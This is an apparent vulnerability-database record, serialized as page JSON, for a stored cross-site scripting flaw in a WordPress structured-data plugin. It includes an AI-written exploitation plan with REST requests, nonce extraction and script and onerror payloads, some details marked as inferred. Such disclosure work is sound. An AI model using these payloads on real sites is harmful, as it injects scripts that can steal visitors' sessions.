[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fPmCDpql6DS7z9LLzmRqFFp8cIhr8iwLUY2mDpilrejo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":9,"research_fix_diff":9,"research_exploit_outline":25,"research_model_used":26,"research_started_at":27,"research_completed_at":28,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":29},"CVE-2026-57763","structured-content-json-ld-wpsc-authenticated-contributor-stored-cross-site-scripting","Structured Content (JSON-LD) #wpsc \u003C= 1.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting","The Structured Content (JSON-LD) #wpsc plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.7.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","structured-content",null,"\u003C=1.7.0","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-02 00:00:00","2026-07-07 19:39:59",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc1e648f7-c2ea-40b2-9ff8-7402c13f3703?source=api-prod",[],"researched",false,3,"This research plan outlines the steps for identifying and exploiting CVE-2026-57763, a Stored Cross-Site Scripting (XSS) vulnerability in the **Structured Content (JSON-LD) #wpsc** plugin for WordPress.\n\n### 1. Vulnerability Summary\nThe Structured Content (JSON-LD) #wpsc plugin is designed to help users add schema.org JSON-LD data (like FAQs, Job Postings, and How-Tos) via Gutenberg blocks or shortcodes. The vulnerability exists in versions up to and including 1.7.0. It occurs because the plugin fails to sanitize user-provided attributes in its blocks\u002Fshortcodes before saving them, and subsequently fails to escape them when rendering the visual elements or the JSON-LD script on the frontend. This allows a user with **Contributor** privileges (who can create and save posts) to inject malicious `\u003Cscript>` tags.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint:** `wp-json\u002Fwp\u002Fv2\u002Fposts` (Gutenberg REST API) or `wp-admin\u002Fpost.php` (Classic Editor).\n*   **Vulnerable Component:** Rendering logic for \"Structured Content\" blocks (e.g., FAQ, How-To, Course).\n*   **Authentication:** Required (Contributor level or higher).\n*   **Preconditions:** The plugin must be active. The attacker needs the ability to edit a post or page.\n\n### 3. Code Flow (Inferred)\n1.  **Entry Point:** A Contributor creates a post containing a \"Structured Content\" Gutenberg block (e.g., `wpsc\u002Ffaq`).\n2.  **Storage:** The block attributes (e.g., `question`, `answer`, `title`) are saved as JSON metadata within the post's `post_content`.\n3.  **Frontend Hook:** When the post is viewed, the plugin uses a `render_callback` registered via `register_block_type` or an `add_shortcode` callback.\n4.  **Vulnerable Sink:**\n    *   The plugin iterates through the saved attributes and generates HTML (visual display).\n    *   It also generates a `\u003Cscript type=\"application\u002Fld+json\">` block.\n    *   **The Bug:** The plugin likely uses `echo` or returns the attributes directly without applying `esc_html()` or `wp_kses()` to the visual output, or it fails to escape `\u003C\u002Fscript>` tags within the JSON-LD generation, allowing for a script block breakout.\n\n### 4. Nonce Acquisition Strategy\nTo exploit this via the WordPress REST API (the most reliable method for modern Gutenberg-based plugins), the agent must obtain a `wp_rest` nonce.\n\n1.  **Identify Trigger:** The plugin's editor scripts are localized and enqueued when editing a post.\n2.  **Test Data Setup:**\n    *   Create a contributor user.\n    *   Navigate to the \"New Post\" page as the contributor.\n3.  **Extraction:**\n    *   Use `browser_navigate` to go to `http:\u002F\u002F[target]\u002Fwp-admin\u002Fpost-new.php`.\n    *   Use `browser_eval` to extract the REST nonce from the WordPress global settings object:\n        ```javascript\n        browser_eval(\"wpApiSettings.nonce\")\n        ```\n    *   Alternatively, look for the localized variable for the plugin (inferred): `window.wpsc_admin_vars?.nonce`.\n\n### 5. Exploitation Strategy\nThe goal is to update a post with a malicious block payload that triggers XSS when viewed.\n\n**Step 1: Create a Draft Post**\nUse the `http_request` tool to create a post as a Contributor.\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Headers:** `Content-Type: application\u002Fjson`, `X-WP-Nonce: [extracted_nonce]`\n*   **Body:**\n    ```json\n    {\n      \"title\": \"XSS Test Post\",\n      \"status\": \"draft\",\n      \"content\": \"Temporary content\"\n    }\n    ```\n*   **Capture:** The `id` of the newly created post from the response.\n\n**Step 2: Inject Payload via Update**\nUpdate the post with a malicious \"Structured Content\" block. We will target the FAQ block (inferred identifier `wpsc\u002Ffaq`).\n*   **Payload (Gutenberg Block):**\n    ```html\n    \u003C!-- wp:wpsc\u002Ffaq {\"questions\":[{\"id\":\"1\",\"question\":\"\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\",\"answer\":\"Injected\"}]} \u002F-->\n    ```\n*   **Method:** POST\n*   **URL:** `http:\u002F\u002F[target]\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts\u002F[post_id]`\n*   **Body:**\n    ```json\n    {\n      \"content\": \"\u003C!-- wp:wpsc\u002Ffaq {\\\"questions\\\":[{\\\"id\\\":\\\"1\\\",\\\"question\\\":\\\"\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\\\",\\\"answer\\\":\\\"Injected\\\"}]} \u002F-->\"\n    }\n    ```\n\n**Step 3: Trigger XSS**\nNavigate to the frontend URL of the post (provided in the previous response as `link`). If an admin or any user views this page, the script will execute.\n\n### 6. Test Data Setup\n1.  **Plugin:** Install and activate `structured-content` version 1.7.0.\n2.  **User:** Create a user with the `contributor` role.\n3.  **Initial Post:** Not strictly required, as the exploit creates one, but having an existing post to edit can also work.\n\n### 7. Expected Results\n*   **REST API Response:** `200 OK` or `201 Created`, showing the `post_content` now contains the raw `\u003Cscript>` tag within the block attributes.\n*   **Frontend Output:** When the page source is viewed, the HTML should contain:\n    ```html\n    \u003Cdiv class=\"wpsc-faq-question\">...\u003Cscript>alert(document.cookie)\u003C\u002Fscript>...\u003C\u002Fdiv>\n    ```\n    OR inside the JSON-LD:\n    ```json\n    \"name\": \"\u003C\u002Fscript>\u003Cscript>alert(document.cookie)\u003C\u002Fscript>\"\n    ```\n\n### 8. Verification Steps\nAfter performing the HTTP requests, verify the injection using `wp-cli`:\n1.  **Check Post Content:**\n    ```bash\n    wp post get [post_id] --field=post_content\n    ```\n2.  **Check for rendered payload:** Use `http_request` (GET) on the post's permalink and grep for the canary:\n    ```bash\n    # (Metaphorical grep via agent) \n    # Check if \"\u003Cscript>alert\" exists in the response body.\n    ```\n\n### 9. Alternative Approaches\nIf the Gutenberg block method fails, target the shortcode system (inferred):\n*   **Shortcode Payload:** \n    ```\n    [wpsc_faq][wpsc_faq_item question=\"\u003Cimg src=x onerror=alert(1)>\" answer=\"test\"][\u002Fwpsc_faq]\n    ```\n*   Update the post content via REST API using this string. Shortcodes are often processed via a different rendering path (`add_shortcode`) which might have separate, equally vulnerable logic.\n\nIf `application\u002Fld+json` is correctly escaped but the visual block is not, try an attribute-based breakout:\n*   **Payload:** `\">\u003Cimg src=x onerror=alert(1)>`\n*   This targets cases where the plugin places the attribute inside an HTML tag attribute like `data-question=\"...\"`.","The Structured Content (JSON-LD) #wpsc plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its Gutenberg blocks in versions up to 1.7.0. Authenticated attackers with Contributor-level access can inject malicious scripts into block attributes such as FAQ questions or answers. These scripts are then executed in the context of any user's browser when the affected post is viewed, due to the plugin's failure to sanitize input or escape output.","An attacker authenticates as a Contributor and obtains a REST API nonce, typically found in the global 'wpApiSettings' object on the post editor page. They then send a POST request to the WordPress REST API endpoint for posts, including a 'Structured Content' block (e.g., 'wpsc\u002Ffaq') in the content. The payload places a script tag inside a block attribute, such as 'question'. When an administrator or visitor views the post, the plugin renders the unsanitized attribute, triggering the execution of the injected JavaScript.","gemini-3-flash-preview","2026-07-25 10:41:56","2026-07-25 10:42:37",{"type":30,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":31},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fstructured-content\u002Ftags"]